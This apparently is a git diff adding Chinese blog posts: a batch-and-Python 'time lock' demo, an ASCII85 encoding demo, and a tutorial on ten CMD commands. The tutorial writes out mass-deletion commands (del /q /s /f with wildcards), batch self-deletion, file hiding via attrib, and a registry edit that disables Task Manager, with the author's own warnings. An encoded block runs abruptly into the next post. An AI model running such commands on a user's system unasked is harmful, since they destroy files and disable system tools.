+ +```powershell +@echo off +chcp 65001 >nul +color 0a +title TimeLock +for /f "tokens=2 delims==" %%a in ('wmic path win32_operatingsystem get LocalDateTime /value') do ( + set t=%%a +) +set Today="%t:~0,4%-%t:~4,2%-%t:~6,2%" +::设置目标时间 +set target="2020-9-18" +::设置密码 +set password=254908612806209844729211377541 +::设置管理员QQ号,可以更改 +set QQnumber="3362157322" +::目标文件名 +set program="CodeFile.py" +echo =====================时间锁保护中====================== +echo 当前日期:%Today% +echo 目标日期:%target% +echo. +::对比日期 +if %Today%==%target% (echo %password%>>password.txt & echo 生成密码文件成功! & start %program%) else (echo 错误:& echo 日期不符合。 & echo 没有生成密码文件。 & echo. & echo 建议:& echo 请联系管理员。 & echo. & echo 管理员QQ:%QQnumber% & echo.) +pause >nul +exit +``` +在`CodeFile.py`里面输入以下代码: + +```python +import os,easygui,sys +def openLock(): + global password + if os.path.exists("password.txt") == True: + with open("password.txt","r",encoding="utf-8") as program: + password = program.read() + key = '''254908612806209844729211377541 +''' + if password == key: + pass + else: + os.system("start TimeLock.cmd") + else: + easygui.msgbox("错误。"+"\n"+"原因:找不到密码文件。","Time Lock Protect") + sys.exit() + exit() +def codeFile(): + easygui.msgbox("Python Time Lock Protact Program File","Time Lock Protect") +def codeExit(): + exit() +openLock() +while True: + codeFile() + codeExit() +``` +这样,我们的代码就完成了,打开时请先打开批处理文件,如果日期符合就自己运行Python文件了。大家可以自己测试程序是什么效果! diff --git "a/\346\216\250\350\215\220\344\270\200\347\247\215\345\212\240\345\257\206\346\226\271\345\274\217.md" "b/\346\216\250\350\215\220\344\270\200\347\247\215\345\212\240\345\257\206\346\226\271\345\274\217.md" new file mode 100644 index 0000000..1c119e2 --- /dev/null +++ "b/\346\216\250\350\215\220\344\270\200\347\247\215\345\212\240\345\257\206\346\226\271\345\274\217.md" @@ -0,0 +1,29 @@ +你看过这种加密内容嘛? + +> k(o/^R'5YcR-B0ckD$M + +你能破解嘛?相信你不用程序不行。 +让代码看看: + +```python +import base64 +print(base64.a85decode("k(o/^R'5YcR-B0ckD$M").decode()) +``` +哦,看到了,是这个: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210109091521937.png) +这是哪种加密? +——揭秘:这是`ASCII 85`加密的。 +看代码: + +```python +import base64 +print(base64.a85encode('我是潘道熹'.encode())) +print(base64.a85decode("k(o/^R'5YcR-B0ckD$M").decode()) +``` +注意解密时需要用双引号,否则无法正常运行。 +当我们使用它加密一段代码时,就会这样: + +``` +Bl.g-Ec`FCH"UQ&AI<$iDf$V9H"UQ&AM.e;@ps1p+DG\\3DfTqB.LKd.Df$V=Bl.E(Bl.g-Ec`FFCh70s$4:`tB45Xg/no3;F=8RF@rHL-F1Ble60@Eb0-!ATC7YDKIEX0J"n,.1-DmAS*&rG\\M7gG%GQ5-n.1a+>F_PqG.1.1?+]FD,5.DKTf*ATAo3Afu/+@rH6qF!,L7D..-rBl7QE-"JAG,p4UGDfor>.4cl$/28n/.1.1?+ Windows 命令提示符(cmd.exe)是 Windows NT 下的一个用于运行 Windows 控制面板程序或某些 DOS 程序的shell程序;或在 Windows CE 下只用于运行控制面板程序的外壳程序。 ——360百科 + +网上一打开,都是这种无聊的玩意儿: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/79b05bd41eed43d6b67b60689dd0b77e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +在这些文章中,CMD失去了它本来的意义。 + +> 今天我来给大家分享10个**有趣的CMD命令**,在关键时刻都有重大的作用。 + +OK,开始吧。 + +
+ +# 正文 +首先打开你的CMD: + + 1. `Ctrl+Shift+Esc`,呼出任务管理器。 + 2. 点击文件,**点击运行新任务**。 + 3. 输入`cmd.exe`,以管理员身份运行(可选,本文中不用使用管理员身份了)。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0924918beb404d9e828eb2e2e4bf4ecb.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +## 一、测试网络用的`ping`命令 + +```cpp + +用法: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] + [-r count] [-s count] [[-j host-list] | [-k host-list]] + [-w timeout] [-R] [-S srcaddr] [-c compartment] [-p] + [-4] [-6] target_name + +选项: + -t Ping 指定的主机,直到停止。 + 若要查看统计信息并继续操作,请键入 Ctrl+Break; + 若要停止,请键入 Ctrl+C。 + -a 将地址解析为主机名。 + -n count 要发送的回显请求数。 + -l size 发送缓冲区大小。 + -f 在数据包中设置“不分段”标记(仅适用于 IPv4)。 + -i TTL 生存时间。 + -v TOS 服务类型(仅适用于 IPv4。该设置已被弃用, + 对 IP 标头中的服务类型字段没有任何 + 影响)。 + -r count 记录计数跃点的路由(仅适用于 IPv4)。 + -s count 计数跃点的时间戳(仅适用于 IPv4)。 + -j host-list 与主机列表一起使用的松散源路由(仅适用于 IPv4)。 + -k host-list 与主机列表一起使用的严格源路由(仅适用于 IPv4)。 + -w timeout 等待每次回复的超时时间(毫秒)。 + -R 同样使用路由标头测试反向路由(仅适用于 IPv6)。 + 根据 RFC 5095,已弃用此路由标头。 + 如果使用此标头,某些系统可能丢弃 + 回显请求。 + -S srcaddr 要使用的源地址。 + -c compartment 路由隔离舱标识符。 + -p Ping Hyper-V 网络虚拟化提供程序地址。 + -4 强制使用 IPv4。 + -6 强制使用 IPv6。 +``` +我们可以使用它来测试网络是否可用,输入命令`ping 网址`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d0977c67038d4038a40181f212844d29.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +也可以用于延时,但是不是那么精准。 + +```cpp +C:\Users\86139>ping baidu.com /n 5 + +正在 Ping baidu.com [220.181.38.251] 具有 32 字节的数据: +来自 220.181.38.251 的回复: 字节=32 时间=11ms TTL=49 +来自 220.181.38.251 的回复: 字节=32 时间=11ms TTL=49 +来自 220.181.38.251 的回复: 字节=32 时间=11ms TTL=49 +来自 220.181.38.251 的回复: 字节=32 时间=11ms TTL=49 +来自 220.181.38.251 的回复: 字节=32 时间=11ms TTL=49 + +220.181.38.251 的 Ping 统计信息: + 数据包: 已发送 = 5,已接收 = 5,丢失 = 0 (0% 丢失), +往返行程的估计时间(以毫秒为单位): + 最短 = 11ms,最长 = 11ms,平均 = 11ms + +``` +## 二、显示或隐藏文件的`attrib`命令 +这个东西我们不多说,只说两种用法。 +好比我这里有个文件`test.txt`,里面有一些内容。我们如何隐藏它? +![就像这样](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b8d02134149243c6bf42a7ee90030297.gif#pic_center) +其实,我在cmd里面,输入了一行命令:`attrib +s +h /s /d test.txt`。`+s`的意思就是添加系统属性,`+h`添加隐藏属性。 + +但是这个文件并不是没有了,只需要再输入一行命令:`attrib -s -h /s /d test.txt`即可恢复。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3ab2428703c94c52bfce8dc0790b5c64.png) +## 三、删除文件无影无踪的`del`命令 +这个我记得我以前讲过。这里有好多文件: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bf86330436c84f338deafe4b2332d32a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +如何删除掉里面的exe文件呢?需要使用删除命令`del /q /s /f *.exe`。`*`是通配符,这句命令的意思就是删除所有匹配后缀为`.exe`的文件。同理,当我们想删除所有文件时,即可使用通配符`*.*`。 + +这个命令是这样使用的。 + +```cpp +删除一个或多个文件。 + +DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names +ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names + + names 指定一个或多个文件或者目录列表。 + 通配符可用来删除多个文件。 + 如果指定了一个目录,该目录中的所 + 有文件都会被删除。 + + /P 删除每一个文件之前提示确认。 + /F 强制删除只读文件。 + /S 删除所有子目录中的指定的文件。 + /Q 安静模式。删除全局通配符时,不要求确认 + /A 根据属性选择要删除的文件 + 属性 R 只读文件 S 系统文件 + H 隐藏文件 A 准备存档的文件 + I 无内容索引文件 L 重新分析点 + O 脱机文件 - 表示“否”的前缀 + +如果命令扩展被启用,DEL 和 ERASE 更改如下: + +/S 开关的显示句法会颠倒,即只显示已经 +删除的文件,而不显示找不到的文件。 +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5b1a2e433b484a1d887067a638566c56.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +瞬间,`.exe`的文件都没了。 + +这个命令不要随便使用,因为它不会把删除的文件放入回收站,而是直接删除。 +当你有足够的权限,您甚至可以干掉`%windir%`目录下的文件,但是您的电脑系统就废了。 + +> 老潘电脑课堂开课啦,随便瞎删电脑里的东西,多半是废了! + +另外,这里还有一个奇妙的玩法,那就是`del %0`批处理自删除,效果如下: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7703f9c17a90466a892fb3709e0fbc3c.gif#pic_center) + + +## 四、神奇的目录树`tree`命令 +这个东西不难,而且很实用,我以前的文章中展现目录树,就用的它。 + +```cpp +以图形显示驱动器或路径的文件夹结构。 + +TREE [drive:][path] [/F] [/A] + + /F 显示每个文件夹中文件的名称。 + /A 使用 ASCII 字符,而不使用扩展字符。 + +``` +我展开一个我的文件夹,各位请上演! + +```cpp +D:\编程代码\共享文件夹>tree /f +卷 Data 的文件夹 PATH 列表 +卷序列号为 90AF-CB35 +D:. +│ a8ab838aade1be7763e20d8a6e4cc85e9bda8b5ef2e29d4f9f2be38fefb37065.zip +│ lframeCNDocs.zip +│ NSudo_9.0_Preview1_9.0.2676.0.zip +│ +├─battoexe +│ Bat_To_Exe_Converter.exe +│ settings +│ +└─System Volume Information +``` +嗯,这样展示很清楚的。 + +## 五、说没就没的命令`taskkill` +我没说清,这个命令是让进程说没就没。 + +```cpp + +TASKKILL [/S system [/U username [/P [password]]]] + { [/FI filter] [/PID processid | /IM imagename] } [/T] [/F] + +描述: + 使用该工具按照进程 ID (PID) 或映像名称终止任务。 + +参数列表: + /S system 指定要连接的远程系统。 + + /U [domain\]user 指定应该在哪个用户上下文执行这个命令。 + + /P [password] 为提供的用户上下文指定密码。如果忽略,提示 + 输入。 + + /FI filter 应用筛选器以选择一组任务。 + 允许使用 "*"。例如,映像名称 eq acme* + + /PID processid 指定要终止的进程的 PID。 + 使用 TaskList 取得 PID。 + + /IM imagename 指定要终止的进程的映像名称。通配符 '*'可用来 + 指定所有任务或映像名称。 + + /T 终止指定的进程和由它启用的子进程。 + + /F 指定强制终止进程。 + + /? 显示帮助消息。 + +筛选器: + 筛选器名 有效运算符 有效值 + ----------- --------------- ------------------------- + STATUS eq, ne RUNNING | + NOT RESPONDING | UNKNOWN + IMAGENAME eq, ne 映像名称 + PID eq, ne, gt, lt, ge, le PID 值 + SESSION eq, ne, gt, lt, ge, le 会话编号。 + CPUTIME eq, ne, gt, lt, ge, le CPU 时间,格式为 + hh:mm:ss。 + hh - 时, + mm - 分,ss - 秒 + MEMUSAGE eq, ne, gt, lt, ge, le 内存使用量,单位为 KB + USERNAME eq, ne 用户名,格式为 [domain\]user + MODULES eq, ne DLL 名称 + SERVICES eq, ne 服务名称 + WINDOWTITLE eq, ne 窗口标题 + + 说明 + ---- + 1) 只有在应用筛选器的情况下,/IM 切换才能使用通配符 '*'。 + 2) 远程进程总是要强行 (/F) 终止。 + 3) 当指定远程机器时,不支持 "WINDOWTITLE" 和 "STATUS" 筛选器。 + +例如: + TASKKILL /IM notepad.exe + TASKKILL /PID 1230 /PID 1241 /PID 1253 /T + TASKKILL /F /IM cmd.exe /T + TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*" + TASKKILL /F /FI "USERNAME eq NT AUTHORITY\SYSTEM" /IM notepad.exe + TASKKILL /S system /U 域\用户名 /FI "用户名 ne NT*" /IM * + TASKKILL /S system /U username /P password /FI "IMAGENAME eq note*" +``` +我们来试试。我现在写了一个弹窗。如何关闭?直接点叉就行。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5153896bb0414986be371fb47d83cc94.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +当我们加了个死循环,效果就变了。点叉,关不完的。 +这时候,我们可以使用命令`taskkill /im python.exe /f`,就关掉了。 + +```cpp +成功: 已终止进程 "python.exe",其 PID 为 3440。 +``` +## 六、可爱的循环`for`命令 +这个大家都熟,谁都知道。 + +```cpp +对一组文件中的每一个文件执行某个特定命令。 + +FOR %variable IN (set) DO command [command-parameters] + + %variable 指定一个单一字母可替换的参数。 + (set) 指定一个或一组文件。可以使用通配符。 + command 指定对每个文件执行的命令。 + command-parameters + 为特定命令指定参数或命令行开关。 + +在批处理程序中使用 FOR 命令时,指定变量请使用 %%variable +而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I. + +如果启用命令扩展,则会支持下列 FOR 命令的其他格式: + +FOR /D %variable IN (set) DO command [command-parameters] + + 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。 + +FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] + + 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。 + 如果在 /R 后没有指定目录规范,则使用当前目录。如果集仅为一个单点(.)字符, + 则枚举该目录树。 + +FOR /L %variable IN (start,step,end) DO command [command-parameters] + + 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列 + 1 2 3 4 5,(5,-1,1)将产生序列(5 4 3 2 1) + +FOR /F ["options"] %variable IN (file-set) DO command [command-parameters] +FOR /F ["options"] %variable IN ("string") DO command [command-parameters] +FOR /F ["options"] %variable IN ('command') DO command [command-parameters] + + 或者,如果有 usebackq 选项: + +FOR /F ["options"] %variable IN (file-set) DO command [command-parameters] +FOR /F ["options"] %variable IN ("string") DO command [command-parameters] +FOR /F ["options"] %variable IN ('command') DO command [command-parameters] + + fileset 为一个或多个文件名。继续到 fileset 中的下一个文件之前, + 每份文件都被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字, + 然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。 + 以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。 + 你可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个 + 或多个指定不同解析选项的关键字。这些关键字为: + + eol=c - 指一个行注释字符的结尾(就一个) + skip=n - 指在文件开始时忽略的行数。 + delims=xxx - 指分隔符集。这个替换了空格和制表符的 + 默认分隔符集。 + tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 + 的 for 本身。这会导致额外变量名称的分配。m-n + 格式为一个范围。通过 nth 符号指定 mth。如果 + 符号字符串中的最后一个字符星号, + 那么额外的变量将在最后一个符号解析之后 + 分配并接受行的保留文本。 + usebackq - 指定新语法已在下类情况中使用: + 在作为命令执行一个后引号的字符串并且一个单 + 引号字符为文字字符串命令并允许在 file-set + 中使用双引号扩起文件名称。 + + 某些范例可能有助: + +FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k + + 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 + 每行中的第二个和第三个符号传递给 for 函数体,用逗号和/或 + 空格分隔符号。请注意,此 for 函数体的语句引用 %i 来 + 获得第二个符号,引用 %j 来获得第三个符号,引用 %k + 来获得第三个符号后的所有剩余符号。对于带有空格的文件 + 名,你需要用双引号将文件名括起来。为了用这种方式来使 + 用双引号,还需要使用 usebackq 选项,否则,双引号会 + 被理解成是用作定义某个要分析的字符串的。 + + %i 在 for 语句中显式声明,%j 和 %k 是通过 + tokens= 选项隐式声明的。可以通过 tokens= 一行 + 指定最多 26 个符号,只要不试图声明一个高于字母 "z" 或 + "Z" 的变量。请记住,FOR 变量是单一字母、分大小写和全局的变量; + 而且,不能同时使用超过 52 个。 + + 还可以在相邻字符串上使用 FOR /F 分析逻辑,方法是, + 用单引号将括号之间的 file-set 括起来。这样,该字符 + 串会被当作一个文件中的一个单一输入行进行解析。 + + 最后,可以用 FOR /F 命令来分析命令的输出。方法是,将 + 括号之间的 file-set 变成一个反括字符串。该字符串会 + 被当作命令行,传递到一个子 CMD.EXE,其输出会被捕获到 + 内存中,并被当作文件分析。如以下例子所示: + + FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i + + 会枚举当前环境中的环境变量名称。 + +另外,FOR 变量参照的替换已被增强。你现在可以使用下列 +选项语法: + + %~I - 删除任何引号("),扩展 %I + %~fI - 将 %I 扩展到一个完全合格的路径名 + %~dI - 仅将 %I 扩展到一个驱动器号 + %~pI - 仅将 %I 扩展到一个路径 + %~nI - 仅将 %I 扩展到一个文件名 + %~xI - 仅将 %I 扩展到一个文件扩展名 + %~sI - 扩展的路径只含有短名 + %~aI - 将 %I 扩展到文件的文件属性 + %~tI - 将 %I 扩展到文件的日期/时间 + %~zI - 将 %I 扩展到文件的大小 + %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展 + 到找到的第一个完全合格的名称。如果环境变量名 + 未被定义,或者没有找到文件,此组合键会扩展到 + 空字符串 + +可以组合修饰符来得到多重结果: + + %~dpI - 仅将 %I 扩展到一个驱动器号和路径 + %~nxI - 仅将 %I 扩展到一个文件名和扩展名 + %~fsI - 仅将 %I 扩展到一个带有短名的完整路径名 + %~dp$PATH:I - 搜索列在路径环境变量的目录,并将 %I 扩展 + 到找到的第一个驱动器号和路径。 + %~ftzaI - 将 %I 扩展到类似输出线路的 DIR + +在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 +用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 +比较易读,而且避免与不分大小写的组合键混淆。 +``` +好长!我们只说类似于`range()`的循环。 +格式(管理员模式下,请将`%i`替换为`%%i`)`for /l %i in (开始的地方,步长step,结束的地方) do 命令`,结束的时候会停止到前一项,如`(1,1,10)`的循环为1~9。 +现在我们来创建一批C++文件,10个。 + +```cpp +for /l %i in (1,1,10) do echo // Author:PanDaoxi>>%i.cpp +``` + +## 七、打开程序的`start`命令 +打开程序的操作想必大家都很明白咯。 + +```cpp +启动一个单独的窗口以运行指定的程序或命令。 + +START ["title"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED] + [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL] + [/NODE ] [/AFFINITY ] [/WAIT] [/B] + [command/program] [parameters] + + "title" 在窗口标题栏中显示的标题。 + path 启动目录。 + B 启动应用程序,但不创建新窗口。 + 应用程序已忽略 ^C 处理。除非应用程序 + 启用 ^C 处理,否则 ^Break 是唯一可以中断 + 该应用程序的方式。 + I 新的环境将是传递 + 给 cmd.exe 的原始环境,而不是当前环境。 + MIN 以最小化方式启动窗口。 + MAX 以最大化方式启动窗口。 + SEPARATE 在单独的内存空间中启动 16 位 Windows 程序。 + SHARED 在共享内存空间中启动 16 位 Windows 程序。 + LOW 在 IDLE 优先级类中启动应用程序。 + NORMAL 在 NORMAL 优先级类中启动应用程序。 + HIGH 在 HIGH 优先级类中启动应用程序。 + REALTIME 在 REALTIME 优先级类中启动应用程序。 + ABOVENORMAL 在 ABOVENORMAL 优先级类中启动应用程序。 + BELOWNORMAL 在 BELOWNORMAL 优先级类中启动应用程序。 + NODE 将首选非一致性内存结构(NUMA)节点指定为 + 十进制整数。 + AFFINITY 将处理器关联掩码指定为十六进制数字。 + 进程被限制在这些处理器上运行。 + + 将 /AFFINITY 和 /NODE 结合使用时,会对关联掩码 + 进行不同的解释。指定关联掩码,以便将零位作为起始位置(就如将 NUMA + 节点的处理器掩码向右移位一样)。 + 进程被限制在指定关联掩码和 NUMA 节点之间的 + 那些通用处理器上运行。 + 如果没有通用处理器,则进程被限制在 + 指定的 NUMA 节点上运行。 + WAIT 启动应用程序并等待它终止。 + command/program + 如果它是内部 cmd 命令或批文件,则 + 该命令处理器是使用 cmd.exe 的 /K 开关运行的。 + 这表示运行该命令之后,该窗口 + 将仍然存在。 + + 如果它不是内部 cmd 命令或批文件,则 + 它就是一个程序,并将作为一个窗口化应用程序或 + 控制台应用程序运行。 + + parameters 这些是传递给 command/program 的参数。 + +注意: 在 64 位平台上不支持 SEPARATE 和 SHARED 选项。 + +通过指定 /NODE,可按照利用 NUMA 系统中的内存区域的方式 +创建进程。例如,可以创建两个完全 +通过共享内存互相通信的进程以共享相同的首选 NUMA 节点, +从而最大限度地减少内存延迟。只要有可能, +它们就会分配来自相同 NUMA 节点的 +内存,并且会在指定节点之外的处理器上自由运行。 + + start /NODE 1 application1.exe + start /NODE 1 application2.exe + +这两个进程可被进一步限制在相同 NUMA 节点内的指定处理器 +上运行。在以下示例中,application1 在 +节点的两个低位处理器上运行,而 application2 +在该节点的其后两个处理器上运行。该示例假定指定节点至少具有四个逻辑处理器。请注意,节点号可更改为该计算机的任何有效节点号, +而无需更改关联掩码。 + + start /NODE 1 /AFFINITY 0x3 application1.exe + 启动 /NODE 1 /AFFINITY 0xc application2.exe + +如果命令扩展被启用,通过命令行或 START 命令的外部命令 +调用会如下改变: + +将文件名作为命令键入,非可执行文件可以通过文件关联调用。 + (例如,WORD.DOC 会调用跟 .DOC 文件扩展名关联的应用程序)。 + 关于如何从命令脚本内部创建这些关联,请参阅 ASSOC 和 + FTYPE 命令。 + +执行的应用程序是 32 位 GUI 应用程序时,CMD.EXE 不等应用 + 程序终止就返回命令提示符。如果在命令脚本内执行,该新行为 + 则不会发生。 + +如果执行的命令行的第一个符号是不带扩展名或路径修饰符的 + 字符串 "CMD","CMD" 会被 COMSPEC 变量的数值所替换。这 + 防止从当前目录提取 CMD.EXE。 + +如果执行的命令行的第一个符号没有扩展名,CMD.EXE 会使用 + PATHEXT 环境变量的数值来决定要以什么顺序寻找哪些扩展 + 名。PATHEXT 变量的默认值是: + + .COM;.EXE;.BAT;.CMD + + 请注意,该语法跟 PATH 变量的一样,分号隔开不同的元素。 + +查找可执行文件时,如果没有相配的扩展名,看一看该名称是否 +与目录名相配。如果确实如此,START 会在那个路径上调用 +Explorer。如果从命令行执行,则等同于对那个路径作 CD /D。 +``` +这个东西我们只介绍`/min`和`/max`。我们如何最小化打开程序?`start /min cmd.exe & exit`运行这行命令后,当前cmd会消失,然后在任务栏中最小化弹出一个新的cmd。 +当我们最大化创建一个cmd进程,命令应该这么写:`start /max cmd.exe`。 + +## 八、CMD下切换目录`cd`命令 + +```cpp +显示当前目录名或改变当前目录。 + +CHDIR [/D] [drive:][path] +CHDIR [..] +CD [/D] [drive:][path] +CD [..] + + .. 指定要改成父目录。 + +键入 CD drive: 显示指定驱动器中的当前目录。 +不带参数只键入 CD,则显示当前驱动器和目录。 + +使用 /D 开关,除了改变驱动器的当前目录之外, +还可改变当前驱动器。 + +如果命令扩展被启用,CHDIR 会如下改变: + +当前的目录字符串会被转换成使用磁盘名上的大小写。所以, +如果磁盘上的大小写如此,CD C:\TEMP 会将当前目录设为 +C:\Temp。 + +CHDIR 命令不把空格当作分隔符,因此有可能将目录名改为一个 +带有空格但不带有引号的子目录名。例如: + + cd \winnt\profiles\username\programs\start menu + +与下列相同: + + cd "\winnt\profiles\username\programs\start menu" + +在扩展停用的情况下,你必须键入以上命令。 +``` +我这里有个文件夹`tools`,如何切换?`cd 相对路径或绝对路径`即可。`cd tools`即可进入该文件夹。 + +## 九、创建文件夹的命令`md` +emm,不要想歪了。 + +```cpp +创建目录。 + +MKDIR [drive:]path +MD [drive:]path + +如果命令扩展被启用,MKDIR 会如下改变: + +如果需要,MKDIR 会在路径中创建中级目录。例如: 假设 \a 不 +存在,那么: + + mkdir \a\b\c\d + +与: + + mkdir \a + chdir \a + mkdir b + chdir b + mkdir c + chdir c + mkdir d + +相同。如果扩展被停用,则需要键入 mkdir \a\b\c\d。 +``` +如何套娃?我们来套一个吧。 + +> 文件夹套娃:创建文件夹,并进入文件夹,创建文件夹,并进入文件夹……如此循环。 + +我们来创建深度100的套娃文件夹:`for /l %i in (1,1,100) do (md 第%i层&cd 第%i层)`。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b6ba9a7aa36e45b8a4319b95de76ed0e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +如何进入呢?大家自行思考一下。 + +```cpp +for /l %i in (1,1,100) do cd 第%i层 +``` +## 十、操作注册表`reg`命令 +不要随便使用。只介绍这两个: + +```cpp +reg add +reg delete +``` + +```cpp + +REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] + [/reg:32 | /reg:64] + + KeyName [\\Machine\]FullKey + Machine 远程机器名 - 忽略默认到当前机器。远程机器上 + 只有 HKLM 和 HKU 可用。 + FullKey ROOTKEY\SubKey + ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] + SubKey 所选 ROOTKEY 下注册表项的完整名称。 + + /v 所选项之下要添加的值名称。 + + /ve 为注册表项添加空白值名称(默认)。 + + /t RegKey 数据类型 + [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | + REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ] + 如果忽略,则采用 REG_SZ。 + + /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符 + 如果忽略,则将 "\0" 用作分隔符。 + + /d 要分配给添加的注册表 ValueName 的数据。 + + /f 不用提示就强行覆盖现有注册表项。 + + /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 + + /reg:64 指定应该使用 64 位注册表视图访问的注册表项。 + +例如: + + REG ADD \\ABC\HKLM\Software\MyCo + 添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo + + REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead + 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead) + + REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail + 添加一个值(名称: MRU,类型: REG_MULTI_SZ,数据: fax\0mail\0\0) + + REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% + 添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) + 注意: 在扩充字符串中使用插入符号 ( ^ ) +``` + +```cpp +REG DELETE KeyName [/v ValueName | /ve | /va] [/f] [/reg:32 | /reg:64] + + KeyName [\\Machine\]FullKey + 远程机器名 - 如果省略,默认情况下将使用当前机器。 + 远程机器上只有 HKLM 和 HKU 可用。 + FullKey ROOTKEY\SubKey + ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] + SubKey 所选 ROOTKEY 下面的注册表项的全名。 + + ValueName 所选项下面的要删除的值名称。 + 如果省略,则删除该项下面的所有子项和值。 + + /ve 删除空值名称的值(默认)。 + + /va 删除该项下面的所有值。 + + /f 不用提示,强制删除。 + + /reg:32 指定应使用 32 位注册表视图访问 + 注册表项。 + + /reg:64 指定应使用 64 位注册表视图访问 + 注册表项。 + +示例: + + REG DELETE HKLM\Software\MyCo\MyApp\Timeout + 删除注册表项 Timeout 及其所有子项和值 + + REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU + 删除 ZODIAC 上的 MyCo 下面的注册表值 MTU +``` +**注册表不能随便修改,可能会导致系统不稳定**。这里面有很多系统的设置,定期做备份,有些病毒通过修改注册表来禁用系统功能。我们来试一下用命令禁用任务管理器。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ea9ac802c3544f2b95fa9021abacab78.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +名称:`DisableTaskmgr` +类型:`REG_DWORD` + +禁用: +```cpp +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /d 1 /t REG_DWORD /f +``` +恢复: + +```cpp +reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" +``` +手头没有虚拟机,就不演示了。运行后电脑的任务管理器将提示“**任务管理器已被管理员禁用。**” + +更新: +现在有了虚拟机,我们来测试一下上面的程序: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b3e130e062dd47458ba7f5f67b715d96.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9fda715a2a5e4606b5273425390c8ecd.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/\346\235\245\350\207\252\346\210\221\347\232\204\347\245\235\347\246\217.md" 